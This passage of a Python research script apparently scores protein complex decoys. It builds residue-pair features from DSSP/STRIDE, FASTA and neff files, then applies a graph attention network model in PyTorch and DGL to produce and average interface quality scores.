0 0 1 0 0'\r\n    if(dist > 9 and dist <= 9.5):\r\n        feat = '0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0'\r\n    if(dist > 9.5 and dist <= 10):\r\n        feat = '0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1'\r\n    return feat\r\n\r\ndef getSolAccOneHot(amnAcidParam, saValParam):\r\n    saNorm=\"\";\r\n    aaSA=[];\r\n    aaSaVal=[];\r\n    aaSA=['A', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'K', 'L', 'M', 'N', 'P', 'Q', 'R', 'S', 'T', 'V', 'W', 'Y'];\r\n    aaSaVal=[115, 135, 150, 190, 210, 75, 195, 175, 200, 170, 185, 160, 145, 180, 225, 115, 140, 155, 255, 230];\r\n    k=0\r\n    while k<len(aaSA):\r\n        if(amnAcidParam==aaSA[k]):\r\n            sVal=((100 * float(saValParam)) / aaSaVal[k]);\r\n            if(sVal<25):\r\n                saNorm=\"1 0\"\r\n            elif(sVal>=25):\r\n                saNorm=\"0 1\"\r\n            break;\r\n        else:\r\n            k+=1;\r\n    return saNorm\r\n\r\ndef aaGroup(aa):\r\n    aa = aa.capitalize().strip()\r\n    if(aa == 'A' or aa == 'V' or aa == 'L' or aa == 'I' or aa == 'P' or aa == 'F' or aa == 'M' or aa == 'W'): #non-polar\r\n        label = '1 0 0 0 0'\r\n    elif(aa == 'G' or aa == 'S' or aa == 'T' or aa == 'C' or aa == 'Y' or aa == 'N' or aa == 'Q'): #polar\r\n        label = '0 1 0 0 0'\r\n    elif(aa == 'D' or aa == 'E'): #acidic\r\n        label = '0 0 1 0 0'\r\n    elif(aa == 'K' or aa == 'R' or aa == 'H'): #basic\r\n        label = '0 0 0 1 0'\r\n    else:\r\n        label = '0 0 0 0 1'\r\n\r\n    return label\r\n\r\ndef isfloat(value):\r\n  try:\r\n    float(value)\r\n    return True\r\n  except ValueError:\r\n    return False\r\n\r\ndef sigmoid(x):\r\n      if x < 0:\r\n            return 1 - 1/(1 + math.exp(x))\r\n      else:\r\n            return 1/(1 + math.exp(-x))\r\n\r\ndef contains_number(str):\r\n    return any(char.isdigit() for char in str)\r\n\r\ndef get_unique_list(in_list):\r\n        if isinstance(in_list,list):\r\n                return list(set(in_list))\r\n\r\ndef get3to1aa(aa):\r\n    dict = {'CYS': 'C', 'ASP': 'D', 'SER': 'S', 'GLN': 'Q', 'LYS': 'K',\r\n         'ILE': 'I', 'PRO': 'P', 'THR': 'T', 'PHE': 'F', 'ASN': 'N', \r\n         'GLY': 'G', 'HIS': 'H', 'LEU': 'L', 'ARG': 'R', 'TRP': 'W', \r\n         'ALA': 'A', 'VAL':'V', 'GLU': 'E', 'TYR': 'Y', 'MET': 'M'}\r\n    if(aa not in dict):\r\n        return 'X'\r\n    else:\r\n        return dict[aa]\r\n\r\ndef get_neff(neffFile):\r\n    neff = 0\r\n    with open(neffFile) as n_file:\r\n        for line in n_file:\r\n            tmp = line.split()\r\n            if(len(tmp) > 0):\r\n                x=np.array(tmp)\r\n                x=np.asfarray(x, float)\r\n                neff = sum(x) / len(x)\r\n\r\n    return neff\r\n\r\ndef getSequence(pdb):\r\n    orderedSeqNum = []\r\n    originalSeqNum = []\r\n    residueList = []\r\n    start = 1\r\n    \r\n    tmp_residue_list = []\r\n    start_end_ResNo = []\r\n    prev_res_no = -1\r\n    with open(pdb) as file:                                                   \r\n        for line in file:                                                                                 \r\n            if(line[0:(0+4)]==\"ATOM\"):\r\n                if(prev_res_no != int(line[22:(22+4)].strip())):\r\n                    residueList.append(get3to1aa(line[17:(17+3)].strip()))\r\n                    originalSeqNum.append(int(line[22:(22+4)].strip()))\r\n                    orderedSeqNum.append(start)\r\n                    start += 1\r\n                    \r\n                prev_res_no = int(line[22:(22+4)].strip())\r\n                \r\n    return orderedSeqNum, originalSeqNum, residueList\r\n\r\ndef fastaLength(fastaFile):\r\n    length  = 0\r\n    with open(fastaFile) as fFile:\r\n        for line in fFile:\r\n            if(line[0] == '>'):\r\n                continue\r\n            length += len(line.strip())\r\n    return length\r\n\r\ndef generateFeatures():\r\n    total = (len(chainIds) * (len(chainIds) - 1)) / 2\r\n    while(1):\r\n        done_unbound = 0\r\n        for c in range(len(chainIds)):\r\n            if(os.path.exists(outPath + '/neff/unbound/' + targetName + '_' + chainIds[c] + '.neff') and\r\n               os.path.getsize(outPath + '/neff/unbound/' + targetName + '_' + chainIds[c] + '.neff') > 0):\r\n                done_unbound += 1\r\n\r\n        done_bound = 0\r\n        for comp in combinations(chainIds, 2):\r\n            chains = list(comp)\r\n            if(os.path.exists(outPath + '/neff/bound/' + targetName + '_' + chains[0] + '_' + chains[1] + '.neff') and\r\n               os.path.getsize(outPath + '/neff/bound/' + targetName + '_' + chains[0] + '_' + chains[1] + '.neff') > 0):\r\n                done_bound += 1\r\n                \r\n        if(done_unbound == len(chainIds) and done_bound == total):\r\n            break\r\n    print(\"Generating features...\")\r\n    #for each dimer\r\n    complexDir = os.listdir(outPath + '/distance')\r\n    #for each distance file\r\n    for c in range(len(complexDir)):\r\n        if not(os.path.exists(outPath + '/features/' + complexDir[c])):\r\n            os.system('mkdir -p ' + outPath + '/features/' + complexDir[c])\r\n\r\n        print(complexDir[c])\r\n        files_rr = os.listdir(outPath + '/distance/' + complexDir[c])\r\n        for f in range(len(files_rr)):\r\n            if((outPath + '/distance/' + complexDir[c] + '/' + files_rr[f]).endswith('.rr')):\r\n                print(outPath + '/distance/' + complexDir[c] + '/' + files_rr[f])\r\n                decLines = []\r\n                with open(outPath + '/distance/' + complexDir[c] + '/' + files_rr[f]) as dFile:\r\n                    for line in dFile:\r\n                        if(float(line.split()[2]) < intFDist):\r\n                            decLines.append(line)\r\n\r\n            #---get lines from dssp or stride---#\r\n            #                                   #\r\n            #-----------------------------------#\r\n            dsspChain1Found = 0\r\n            dsspChain2Found = 0\r\n\r\n            chain1Dssp = []\r\n            line1Count = 0\r\n            \r\n            chain2Dssp = []\r\n            line2Count = 0\r\n\r\n            chain1Stride = []\r\n            chain2Stride = []\r\n\r\n            if(os.path.exists(outPath + '/dssp/unbound/' + targetName + '_' + complexDir[c].split('_')[1] + '/' +\r\n                              files_rr[f].split('.rr')[0] + '_' + complexDir[c].split('_')[1] + '.dssp')):\r\n\r\n                #read dssp lines\r\n\r\n                with open(outPath + '/dssp/unbound/' + targetName + '_' + complexDir[c].split('_')[1] + '/' +\r\n                              files_rr[f].split('.rr')[0] + '_' + complexDir[c].split('_')[1] + '.dssp') as dssp1File:\r\n                    for line in dssp1File:\r\n                        if (line1Count<1):\r\n                            if (line[2:(2+1)] == '#'):\r\n                                line1Count += 1\r\n                                continue\r\n                        if(line1Count > 0):\r\n                            if(len(line) > 0):\r\n                                chain1Dssp.append(line)\r\n                    dsspChain1Found = 1\r\n\r\n            elif(os.path.exists(outPath + '/dssp/unbound/' + targetName + '_' + complexDir[c].split('_')[1] + '/' +\r\n                              files_rr[f].split('.rr')[0] + '_' + complexDir[c].split('_')[1] + '.stride')):\r\n\r\n                with open(outPath + '/dssp/unbound/' + targetName + '_' + complexDir[c].split('_')[1] + '/' +\r\n                              files_rr[f].split('.rr')[0] + '_' + complexDir[c].split('_')[1] + '.stride') as stride1File:\r\n                    for line in stride1File:\r\n                        tmp = line.split()\r\n                        if(len(tmp) > 0 and line[0:(0+3)] == \"ASG\"):\r\n                            chain1Stride.append(line)\r\n\r\n            if(os.path.exists(outPath + '/dssp/unbound/' + targetName + '_' + complexDir[c].split('_')[2] + '/' +\r\n                               files_rr[f].split('.rr')[0] + '_' + complexDir[c].split('_')[2] + '.dssp')):\r\n\r\n                with open(outPath + '/dssp/unbound/' + targetName + '_' + complexDir[c].split('_')[2] + '/' +\r\n                              files_rr[f].split('.rr')[0] + '_' + complexDir[c].split('_')[2] + '.dssp') as dssp2File:\r\n                    for line in dssp2File:\r\n                        if (line2Count<1):\r\n                            if (line[2:(2+1)] == '#'):\r\n                                line2Count += 1\r\n                                continue\r\n                        if(line2Count > 0):\r\n                            if(len(line) > 0):\r\n                                chain2Dssp.append(line)\r\n                    dsspChain2Found = 1\r\n                    \r\n            elif(os.path.exists(outPath + '/dssp/unbound/' + targetName + '_' + complexDir[c].split('_')[2] + '/' +\r\n                              files_rr[f].split('.rr')[0] + '_' + complexDir[c].split('_')[2] + '.stride')):\r\n                with open(outPath + '/dssp/unbound/' + targetName + '_' + complexDir[c].split('_')[2] + '/' +\r\n                              files_rr[f].split('.rr')[0] + '_' + complexDir[c].split('_')[2] + '.stride') as stride2File:\r\n                    for line in stride2File:\r\n                        tmp = line.split()\r\n                        if(len(tmp) > 0 and line[0:(0+3)] == \"ASG\"):\r\n                            chain2Stride.append(line)\r\n                            \r\n            #------get sequence length-------#\r\n            #                                #\r\n            #--------------------------------#\r\n            chain1SeqLen = fastaLength(outPath + '/fasta/unbound/' + targetName + '_' + complexDir[c].split('_')[1] + '.fasta')\r\n            chain2SeqLen = fastaLength(outPath + '/fasta/unbound/' + targetName + '_' + complexDir[c].split('_')[2] + '.fasta')\r\n\r\n            neffChain1 = ''\r\n            neffChain2 = ''\r\n            neffChainAll = ''\r\n\r\n            if(os.path.exists(outPath + '/neff/unbound/' + targetName + '_' + complexDir[c].split('_')[1] + '.neff')):\r\n                neffChain1 = get_neff(outPath + '/neff/unbound/' + targetName + '_' + complexDir[c].split('_')[1] + '.neff')\r\n                \r\n            if(os.path.exists(outPath + '/neff/unbound/' + targetName + '_' + complexDir[c].split('_')[2] + '.neff')):\r\n                neffChain2 = get_neff(outPath + '/neff/unbound/' + targetName + '_' + complexDir[c].split('_')[2] + '.neff')\r\n\r\n            if(os.path.exists(outPath + '/neff/bound/' + targetName + '_' + complexDir[c].split('_')[1] + '_' + complexDir[c].split('_')[2] + '.neff')):\r\n                neffChainAll = get_neff(outPath + '/neff/bound/' + targetName + '_' + complexDir[c].split('_')[1] + '_' + complexDir[c].split('_')[2] + '.neff')\r\n\r\n            #------get angle features------#\r\n            #                              #\r\n            #------------------------------#\r\n            if(os.path.exists(outPath + '/orientation/' + targetName + '_' + complexDir[c].split('_')[1] + '_' + complexDir[c].split('_')[2] + '/' +\r\n                              files_rr[f].split('.rr')[0] + '.ori')):\r\n                with open(outPath + '/orientation/' + targetName + '_' + complexDir[c].split('_')[1] + '_' + complexDir[c].split('_')[2] + '/' +\r\n                              files_rr[f].split('.rr')[0] + '.ori') as oFile:\r\n                    orientLines = []\r\n                    for line in oFile:\r\n                       orientLines.append(line)\r\n\r\n\r\n            #---generate feat for pairs-----#\r\n            #                               #\r\n            #-------------------------------#\r\n            outFile_feat = open(outPath + '/features/' + complexDir[c] + '/' + targetName + '_' + files_rr[f].split('.rr')[0] + '.feat', 'w')\r\n            for d in range(len(decLines)):\r\n                try:\r\n                    tmpD = decLines[d].split()\r\n                    aaFeat1 = ''\r\n                    aaFeat2 = ''\r\n                    ss1 = ''\r\n                    sa1 = ''\r\n                    aa1 = ''\r\n                    aa2 = ''\r\n                    \r\n                    ss2 = ''\r\n                    sa2 = ''\r\n                    tco1 = ''\r\n                    tco2 = ''\r\n                    kappa1 = ''\r\n                    kappa2 = ''\r\n                    alpha1 = ''\r\n                    alpha2 = ''\r\n                    phi1 = ''\r\n                    phi2 = ''\r\n                    psi1 = ''\r\n                    psi2 = ''\r\n                    sinPhi1 = ''\r\n                    cosPhi1 = ''\r\n                    sinPsi2 = ''\r\n                    cosPsi2 = ''\r\n                    \r\n                    ssFeat1 = ''\r\n                    ssFeat2 = ''\r\n                    saFeat1 = ''\r\n                    saFeat2 = ''\r\n                    tcoFeat = ''\r\n                    kappaFeatSin = ''\r\n                    alphaFeatSin = ''\r\n                    phiFeatSin = ''\r\n                    psiFeatSin = ''\r\n\r\n                    kappaFeatCos = ''\r\n                    alphaFeatCos = ''\r\n                    phiFeatCos = ''\r\n                    psiFeatCos = ''\r\n\r\n                    sinPhi = ''\r\n                    sinOmega = ''\r\n                    sinTheta = ''\r\n                    cosPhi = ''\r\n                    cosOmega = ''\r\n                    cosTheta = ''\r\n\r\n                    energFeat = ''\r\n\r\n                    pssmUnbound1 = ''\r\n                    pssmUnbound2 = ''\r\n\r\n                    pssmBound1 = ''\r\n                    pssmBound2 = ''\r\n\r\n                    feat = ''\r\n\r\n                    #dssp\r\n                    if(len(chain1Dssp) > 0):\r\n                        for ds1 in range(len(chain1Dssp)):\r\n                            if(tmpD[0] == chain1Dssp[ds1][6:(6+4)].strip()):\r\n\r\n\r\n                                relResFeat1 = int(chain1Dssp[ds1].split()[0]) / chain1SeqLen\r\n                                aa1 = chain1Dssp[ds1][13:(13+1)]\r\n                        \r\n                                ss1 = get8to3ss(chain1Dssp[ds1][16:(16+1)])\r\n                                if(isfloat(chain1Dssp[ds1][35:(35+3)].strip())):\r\n                                    sa1 = float(chain1Dssp[ds1][35:(35+3)])\r\n\r\n                                if(isfloat(chain1Dssp[ds1][103:(103+6)].strip())):\r\n                                    phi1 = float(chain1Dssp[ds1][103:(103+6)].strip())\r\n                                if(isfloat(chain1Dssp[ds1][109:(109+6)].strip())):\r\n                                    psi1 = float(chain1Dssp[ds1][109:(109+6)].strip())\r\n\r\n                                sinPhi1 = sigmoid(math.sin(phi1))\r\n                                cosPhi1 = sigmoid(math.cos(phi1))\r\n\r\n                                sinPsi1 = sigmoid(math.sin(psi1))\r\n                                cosPsi1 = sigmoid(math.cos(psi1))\r\n                            \r\n                                break\r\n                            \r\n                    elif(len(chain1Stride) > 0):\r\n                        for std1 in range(len(chain1Stride)):\r\n                            if(tmpD[0] == chain1Stride[std1][11:(11+4)].strip()):\r\n\r\n\r\n                                relResFeat1 = int(chain1Stride[std1][16:(16+4)].strip()) / chain1SeqLen #extract the serial number, not the real actual sequence number in the pdb\r\n\r\n                                aa1 = get3to1aa(chain1Stride[std1][5:(5+3)].strip())\r\n                                \r\n                                ss1 = chain1Stride[std1][24:(24+1)]\r\n                                if(isfloat(chain1Stride[std1][61:(61+8)].strip())):\r\n                                    sa1 = float(chain1Stride[std1][61:(61+8)].strip())\r\n\r\n                                if(isfloat(chain1Stride[std1][42:(42+7)].strip())):\r\n                                    phi1 = float(chain1Stride[std1][42:(42+7)].strip())\r\n                                if(isfloat(chain1Stride[std1][52:(52+7)].strip())):\r\n                                    psi1 = float(chain1Stride[std1][52:(52+7)].strip())\r\n\r\n                                sinPhi1 = sigmoid(math.sin(phi1))\r\n                                cosPhi1 = sigmoid(math.cos(phi1))\r\n\r\n                                sinPsi1 = sigmoid(math.sin(psi1))\r\n                                cosPsi1 = sigmoid(math.cos(psi1))\r\n                                break\r\n                                \r\n\r\n\r\n            \r\n                    if(len(chain2Dssp) > 0):\r\n                        for ds2 in range(len(chain2Dssp)):\r\n                            if(tmpD[1] == chain2Dssp[ds2][6:(6+4)].strip()):\r\n\r\n                                relResFeat2 = int(chain2Dssp[ds2].split()[0]) / chain2SeqLen\r\n                                \r\n                                aa2 = chain2Dssp[ds2][13:(13+1)]\r\n                                \r\n                                ss2 = get8to3ss(chain2Dssp[ds2][16:(16+1)])\r\n                                if(isfloat(chain2Dssp[ds2][35:(35+3)])):\r\n                                    sa2 = float(chain2Dssp[ds2][35:(35+3)])\r\n\r\n                                if(isfloat(chain2Dssp[ds2][103:(103+6)])):\r\n                                    phi2 = float(chain2Dssp[ds2][103:(103+6)])\r\n                                if(isfloat(chain2Dssp[ds2][109:(109+6)])):\r\n                                    psi2 = float(chain2Dssp[ds2][109:(109+6)])\r\n\r\n                                sinPhi2 = sigmoid(math.sin(phi2))\r\n                                cosPhi2 = sigmoid(math.cos(phi2))\r\n\r\n                                sinPsi2 = sigmoid(math.sin(psi2))\r\n                                cosPsi2 = sigmoid(math.cos(psi2))\r\n\r\n                                break\r\n                            \r\n                    elif(len(chain2Stride) > 0):\r\n                        for std2 in range(len(chain2Stride)):\r\n                            if(tmpD[1] == chain2Stride[std2][11:(11+4)].strip()):\r\n\r\n\r\n                                relResFeat2 = int(chain2Stride[std2][16:(16+4)].strip()) / chain2SeqLen #extract the serial number, not the real actual sequence number in the pdb\r\n\r\n                                aa2 = get3to1aa(chain2Stride[std2][5:(5+3)].strip())\r\n                                \r\n                                ss2 = chain2Stride[std2][24:(24+1)]\r\n                                if(isfloat(chain2Stride[std2][61:(61+8)].strip())):\r\n                                    sa2 = float(chain2Stride[std2][61:(61+8)].strip())\r\n\r\n                                if(isfloat(chain2Stride[std2][42:(42+7)].strip())):\r\n                                    phi2 = float(chain2Stride[std2][42:(42+7)].strip())\r\n                                if(isfloat(chain2Stride[std2][52:(52+7)].strip())):\r\n                                    psi2 = float(chain2Stride[std2][52:(52+7)].strip())\r\n\r\n                                sinPhi2 = sigmoid(math.sin(phi2))\r\n                                cosPhi2 = sigmoid(math.cos(phi2))\r\n\r\n                                sinPsi2 = sigmoid(math.sin(psi2))\r\n                                cosPsi2 = sigmoid(math.cos(psi2))\r\n                                \r\n                                break\r\n\r\n                    aaFeat1 = aaGroup(aa1)\r\n                    aaFeat2 = aaGroup(aa2)\r\n                    \r\n                    ssFeat1 = get8to3ssOneHot(ss1)\r\n                    ssFeat2 = get8to3ssOneHot(ss2)\r\n\r\n\r\n                    #orientation\r\n                    for o in range(len(orientLines)):\r\n                        tmpO = orientLines[o].split()\r\n                        if(int(tmpO[0]) == int(tmpD[0]) and int(tmpO[1]) == int(tmpD[1])):\r\n                            sinPhi1_or = sigmoid(math.sin(float(tmpO[2])))\r\n                            cosPhi1_or = sigmoid(math.cos(float(tmpO[2])))\r\n                            sinPhi2_or = sigmoid(math.sin(float(tmpO[3])))\r\n                            cosPhi2_or = sigmoid(math.cos(float(tmpO[3])))\r\n                            sinTheta1_or = sigmoid(math.sin(float(tmpO[4])))\r\n                            cosTheta1_or = sigmoid(math.cos(float(tmpO[4])))\r\n                            sinTheta2_or = sigmoid(math.sin(float(tmpO[5])))\r\n                            cosTheta2_or = sigmoid(math.cos(float(tmpO[5])))\r\n                            sinOmega_or = sigmoid(math.sin(float(tmpO[6])))\r\n                            cosOmega_or = sigmoid(math.cos(float(tmpO[6])))\r\n\r\n                            break\r\n\r\n                    saFeat1 = getSolAccOneHot(aa1, float(sa1))\r\n                    saFeat2 = getSolAccOneHot(aa2, float(sa2))\r\n\r\n                    phiFeatSin = sigmoid((math.sin(phi1) - math.sin(phi2)) **2)\r\n                    psiFeatSin = sigmoid((math.sin(psi1) - math.sin(psi2)) **2)\r\n\r\n                    phiFeatCos = sigmoid((math.cos(phi1) - math.cos(phi2)) **2)\r\n                    psiFeatCos = sigmoid((math.cos(psi1) - math.cos(psi2)) **2)\r\n\r\n                    featLeft = str(neffChain1) + ' ' + str(neffChainAll) + ' ' + aaFeat1 + ' ' + ssFeat1 + ' ' + \\\r\n                               saFeat1 + ' ' + str(relResFeat1) + ' ' + str(sinPhi1) + ' ' + str(cosPhi1) + ' ' + \\\r\n                               str(sinPsi1) + ' ' + str(cosPsi1)\r\n                    \r\n                    featRight= str(neffChain2) + ' ' + str(neffChainAll) + ' ' + aaFeat2 + ' ' + ssFeat2 + ' ' + saFeat2 + ' ' + \\\r\n                               str(relResFeat2) + ' ' + str(sinPhi2) + ' ' + str(cosPhi2) + ' ' + str(sinPsi2) + ' ' + str(cosPsi2)\r\n                    \r\n                    edgeFeat = str(sinPhi1_or) + ' ' + str(cosPhi1_or) + ' ' + str(sinPhi2_or) + ' ' + str(cosPhi2_or) + ' ' + str(sinTheta1_or) + ' ' + \\\r\n                               str(cosTheta1_or) + ' ' + str(sinTheta2_or) + ' ' + str(cosTheta2_or) + ' ' + str(sinOmega_or) + ' ' + str(cosOmega_or) + ' ' + \\\r\n                               edgeFeatEncoding(float(tmpD[2]))\r\n\r\n                    if(len(featLeft.split()) == 17 and len(featRight.split()) == 17 and len(edgeFeat.split()) == 27):\r\n                        feat = tmpD[0] + ' ' + tmpD[1] + ',' + featLeft + ',' + featRight + ',' + edgeFeat\r\n                        outFile_feat.write(feat + '\\n')\r\n                \r\n                except Exception as e:\r\n                    print(\"Error occurred for: \" + targetName + ' ' + files_rr[f] + ' ' + str(e))\r\n\r\n\r\n            outFile_feat.close()\r\n\r\ndef calNumInterface(complex_name, pdb):\r\n    total = 0\r\n    with open(outPath + '/distance/' + complex_name + '/' + pdb.split('.pdb')[0] + '.rr') as dFile:\r\n        for line in dFile:\r\n            if(float(line.split()[2]) < intFDist):\r\n                total += 1\r\n    return total\r\n\r\ndef renumber(iterable):\r\n    seen = {}\r\n    counter = 0\r\n    renum_list = []\r\n    ori_list = []\r\n\r\n    for x in iterable:\r\n        i = seen.get(x)\r\n\r\n        if i is None:\r\n            seen[x] = counter\r\n            renum_list.append(counter)\r\n            counter += 1\r\n        else:\r\n            renum_list.append(i)\r\n        ori_list.append(x)\r\n    return renum_list, ori_list\r\n\r\nclass GATLayer(nn.Module):\r\n    def __init__(self, in_dim, out_dim, efeats):\r\n        super(GATLayer, self).__init__()\r\n\r\n        self.W_msg = nn.Linear(in_dim + efeats, out_dim)\r\n        self.W_apply = nn.Linear(in_dim + out_dim, out_dim)\r\n        self.reset_parameters()\r\n\r\n    def reset_parameters(self):\r\n        gain = nn.init.calculate_gain('relu')\r\n        nn.init.xavier_normal_(self.W_msg.weight, gain=gain)\r\n        nn.init.xavier_normal_(self.W_apply.weight, gain=gain)\r\n\r\n    def aggr(self, msg):\r\n        return fn.sum(msg, 'msg_attn')\r\n\r\n    def msg(self, int_edges):\r\n\r\n        msg_edge = torch.cat([int_edges.src['h'], int_edges.data['h']], dim = 1)\r\n        msg_edge_f = self.W_msg(msg_edge)\r\n        return {'msg': F.relu(msg_edge_f)}\r\n\r\n    def forward(self, g_dgl, node_feats, edge_feats):\r\n        with g_dgl.local_scope():\r\n            g = g_dgl\r\n            g.ndata['h'] = node_feats\r\n            g.edata['h'] = edge_feats\r\n            g.update_all(self.msg, self.aggr('msg'))\r\n            h_dat = [g.ndata['h'], g.ndata['msg_attn']]\r\n            z = torch.cat(h_dat, dim = 1)\r\n            a = F.relu(self.W_apply(z))\r\n            g.ndata['h_'] = a\r\n            #g.update_all(fn.copy_u('h_', 'r'), fn.sum('r', 'h'))\r\n            return g.ndata['h_']\r\n\r\nclass MultiHeadGATLayer(nn.Module):\r\n    def __init__(self, in_dim, out_dim, num_heads, efeats, merge='cat'):\r\n        super(MultiHeadGATLayer, self).__init__()\r\n        self.heads = nn.ModuleList()\r\n        for i in range(num_heads):\r\n            self.heads.append(GATLayer(in_dim, out_dim, efeats))\r\n        self.merge = merge\r\n\r\n    def forward(self, g, h, efeats):\r\n        head_outs = [attn_head(g, h, efeats) for attn_head in self.heads]\r\n        if self.merge == 'cat':\r\n            return torch.cat(head_outs, dim=1)\r\n        else:\r\n            return torch.mean(torch.stack(head_outs))\r\n\r\nclass GAT(nn.Module):\r\n    def __init__(self, in_dim, hidden_dim, out_dim, num_heads, efeats, num_layers):\r\n        super(GAT, self).__init__()\r\n\r\n        self.layers = nn.ModuleList()\r\n\r\n        #input layer\r\n        self.layers.append(MultiHeadGATLayer(in_dim, hidden_dim, num_heads, efeats))\r\n        #add layer recursively\r\n        for i in range(num_layers):\r\n            hidden_dim_in = hidden_dim\r\n            hidden_dim_out = int(hidden_dim_in * 0.5)\r\n            self.layers.append(MultiHeadGATLayer(hidden_dim_in * num_heads, hidden_dim_out, num_heads, efeats))\r\n            hidden_dim = hidden_dim_out\r\n        #add output layer\r\n        self.layers.append(MultiHeadGATLayer(hidden_dim_out * num_heads, out_dim, 1, efeats))\r\n        self.dropout = nn.Dropout(p=0.5)\r\n        \r\n    def forward(self, g, h, efeats):\r\n        for i, layer in enumerate(self.layers):\r\n            h = self.dropout(h)            \r\n            h = layer(g, h, efeats)\r\n        g.ndata['h'] = h\r\n        g.apply_edges(fn.u_dot_v('h', 'h', 'score'))\r\n        return g.edata['score'].squeeze(1)\r\n\r\ndef score():\r\n    print(\"Scoring...\")\r\n    os.chdir(working_path) #just in case\r\n    featurePath = os.listdir(outPath + '/features/')\r\n    #for each complex\r\n    for f in range(len(featurePath)):\r\n        if not(os.path.exists(outPath + '/scores/' + featurePath[f])):\r\n            os.system('mkdir -p ' + outPath + '/scores/' + featurePath[f])\r\n\r\n        saved_model = PIQLE_path + 'model/model_weight'\r\n\r\n        #-----------------make prediction--------------#\r\n        #                                              #\r\n        #----------------------------------------------#\r\n        featFiles = os.listdir(outPath + '/features/' + featurePath[f])\r\n\r\n        for j in range(len(featFiles)):\r\n            featureFiles = featFiles[j]\r\n            distLines = []\r\n\r\n            nodes1 = []\r\n            nodes2 = []\r\n\r\n            nodes1FeatTrack = {}\r\n            nodes2FeatTrack = {}\r\n            nodes1Feat = []\r\n            nodes2Feat = []\r\n            labels1 = []\r\n            labels2 = []\r\n            \r\n            nodeFeats = []\r\n            edgeFeats = []\r\n            labels_all = []\r\n            c1 = 0\r\n            c2 = 0\r\n            if((outPath + '/features/' + featurePath[f] + '/' + featureFiles).endswith('.feat') and\r\n               os.stat(outPath + '/features/' + featurePath[f] + '/' + featureFiles).st_size != 0):\r\n                print(outPath + '/features/' + featurePath[f] + '/' + featureFiles)\r\n                with open(outPath + '/features/' + featurePath[f] + '/' + featureFiles) as fFile:\r\n                    for line in fFile:\r\n                        tmp = line.split(',')\r\n\r\n                        residuePair = tmp[0].split()\r\n                        leftFeatInfo = tmp[1].split()\r\n                        rightFeatInfo = tmp[2].split()\r\n                        edgeFeatInfo = tmp[3].split()\r\n                        #labelInfo = tmp[4] #only one value, so no split function applied\r\n                        \r\n                        nodes1.append(int(residuePair[0]))\r\n                        nodes2.append(int(residuePair[1]))\r\n\r\n                        if(nodes1FeatTrack.get(int(residuePair[0])) == None):\r\n                            nodes1FeatTrack[int(residuePair[0])] = c1\r\n                            nodes1Feat.append([float(i) for i in leftFeatInfo])\r\n                            c1 += 1\r\n                        if(nodes2FeatTrack.get(int(residuePair[1])) == None):\r\n                            nodes2FeatTrack[int(residuePair[1])] = c2\r\n                            nodes2Feat.append([float(i) for i in rightFeatInfo])\r\n                            c2 += 1\r\n\r\n                        edgeFeats.append([float(i) for i in edgeFeatInfo])\r\n                        #labels_all.append(float(labelInfo))\r\n\r\n\r\n                #process node features to append sequentially\r\n                for n1 in range(len(nodes1Feat)):\r\n                    nodeFeats.append(nodes1Feat[n1])\r\n                for n2 in range(len(nodes2Feat)):\r\n                    nodeFeats.append(nodes2Feat[n2])\r\n                \r\n                #renumber the nodes starting from 0\r\n                nodes1 = renumber(nodes1)[0]\r\n                #process nodes 2:\r\n                #for the second list, add last element of the first list for continuation\r\n                #(see the paper prototype)\r\n                nodes2 = renumber(nodes2)[0]\r\n                nodes2 = list([x + nodes1[-1] + 1 for x in nodes2]) #add the last element of list 1 to every element of list 2\r\n\r\n                #print(len(nodes1Feat))\r\n                #print(len(nodes2Feat))\r\n            \r\n                #define the graph\r\n                nodes1 = th.tensor(nodes1)\r\n                nodes2 = th.tensor(nodes2)\r\n                graph = dgl.graph((nodes1, nodes2))\r\n\r\n                #process the features and label\r\n                nodeFeats =  th.tensor(nodeFeats)\r\n                edgeFeats =  th.tensor(edgeFeats)\r\n                #labels_all = th.tensor(labels_all)\r\n\r\n                #add features and label to the graph\r\n                graph.ndata['n'] = nodeFeats\r\n                graph.edata['e'] = edgeFeats\r\n                #graph.edata['l'] = labels_all\r\n\r\n                #load model\r\n                model = th.load(saved_model, map_location=torch.device('cpu'))\r\n                model.eval()\r\n                nfeats = graph.ndata['n']\r\n                efeats = graph.edata['e']\r\n                output = model(graph, nfeats, efeats)\r\n                #print(\"Prediction output\")\r\n                outFile = open(outPath + '/scores/' + featurePath[f] + '/' + featureFiles.split('.feat')[0] + '_pred', 'w')\r\n                #labels_all = labels_all.tolist()\r\n                #print(labels_all[0])\r\n                for i in range(len(output)):\r\n                    #outFile.write(featureFiles.split('.')[0] + ' ' + str(output[i].detach().numpy()) + ' ' + str(labels_all[i]) + '\\n')\r\n                    outFile.write(featureFiles.split('.')[0] + ' ' + str(output[i].detach().numpy()) + '\\n')\r\n\r\ndef finalizeScore():\r\n    outFile = open(outPath + '/' + targetName + '.PIQLE', 'w')\r\n\r\n    decoys = os.listdir(decoyPath)\r\n    scoreDirs = os.listdir(outPath + '/scores')\r\n\r\n    #header line\r\n    header_line = ''\r\n    for n in range(len(scoreDirs)):\r\n        header_line += scoreDirs[n] + ' '\r\n\r\n    #calculate global score for each decoy\r\n    for d in range(len(decoys)):\r\n        #look for all the score directories\r\n        global_score_weighted = 0\r\n        global_score_average = 0\r\n        scores_line = ''\r\n        indiv_score_weighted = []\r\n        indiv_score = []\r\n        total_weight = 0\r\n        \r\n        for s in range(len(scoreDirs)):\r\n            scoreFiles = os.listdir(outPath + '/scores/' + scoreDirs[s])\r\n            for f in range(len(scoreFiles)):\r\n                local_scores = []\r\n                if(targetName + '_' + decoys[d].split('.pdb')[0] == scoreFiles[f].split('_pred')[0]):\r\n                    with open(outPath + '/scores/' + scoreDirs[s] + '/' + scoreFiles[f]) as sFile:\r\n                        for line in sFile:\r\n                            tmp = line.split()\r\n                            local_scores.append(float(tmp[1]))\r\n\r\n                    weight = calNumInterface(scoreDirs[s], decoys[d])\r\n                    total_weight += weight\r\n                    scores_line += str(sum(local_scores) / (len(local_scores))) + ' ' + str(weight) + ' '\r\n                    indiv_score.append(sum(local_scores) / (len(local_scores)))\r\n                    indiv_score_weighted.append(sum(local_scores) / (len(local_scores)) * weight)\r\n                    break\r\n\r\n        if(len(indiv_score) > 0):\r\n            global_score_average = sum(indiv_score) / len(indiv_score)\r\n            outFile.write(decoys[d] + ' ' + str(global_score_average) + '\\n')\r\n    \r\n    outFile.close()\r\n    #sort the score file#\r\n    with open(outPath + '/' + targetName + '.PIQLE') as sFile:\r\n        lines = []\r\n        